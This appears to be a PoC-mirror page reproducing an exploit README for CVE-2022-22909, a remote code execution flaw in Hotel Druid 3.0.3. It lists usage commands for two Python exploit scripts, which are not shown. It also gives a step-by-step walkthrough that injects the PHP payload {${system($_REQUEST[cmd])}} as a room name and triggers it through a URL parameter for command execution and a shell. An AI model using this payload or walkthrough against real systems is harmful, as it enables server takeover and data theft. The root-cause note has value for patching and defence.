关联漏洞
描述
Exploits for Hotel Druid 3.0.3 - Remote Code Execution (RCE) CVE-2022-22909
介绍
# CVE-2022-22909 Hotel Druid 3.0.3 - Remote Code Execution (RCE)
## Exploit by kaal
### Exploits
1. HotelDruidExploit.py
This Exploit will create new room with our PHP payload as a room name .
Usage :
`$ ./HotelDruidExploit.py -h`
`$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid`
***
2. HotelDruidExploitRoom.py
This Exploit will work if you already know the Room name .
Usage :
`$ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"`
---
## Exploit Walkthrough :
1). Navigate to Hotel Druid page.
2). Click on Tables -> Rooms
3). In Create New Room field add below php code , and click on Add.
`{${system($_REQUEST[cmd])}}`
4). You will see new room with our payload in the "Room" name field .
5). Go to below link and you will get command Execution , Later you can get Full shell
http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami
Note : Change the Ip with your hoteldruid target IP.
## Vulnerability Description :
This vulnerability occurs because room names are getting stored inside `/var/www/html/hoteldruid/dati/selectappartamenti.php`
And `selectappartamenti.php` is a PHP file so any PHP code inside that file will get executed by the server.
文件快照
[4.0K] /data/pocs/96aa6d7f9a8759544eaa7bce0971182afc5bbaec
├── [2.2K] HotelDruidExploit.py
├── [2.4K] HotelDruidExploitRoom.py
└── [2.0K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。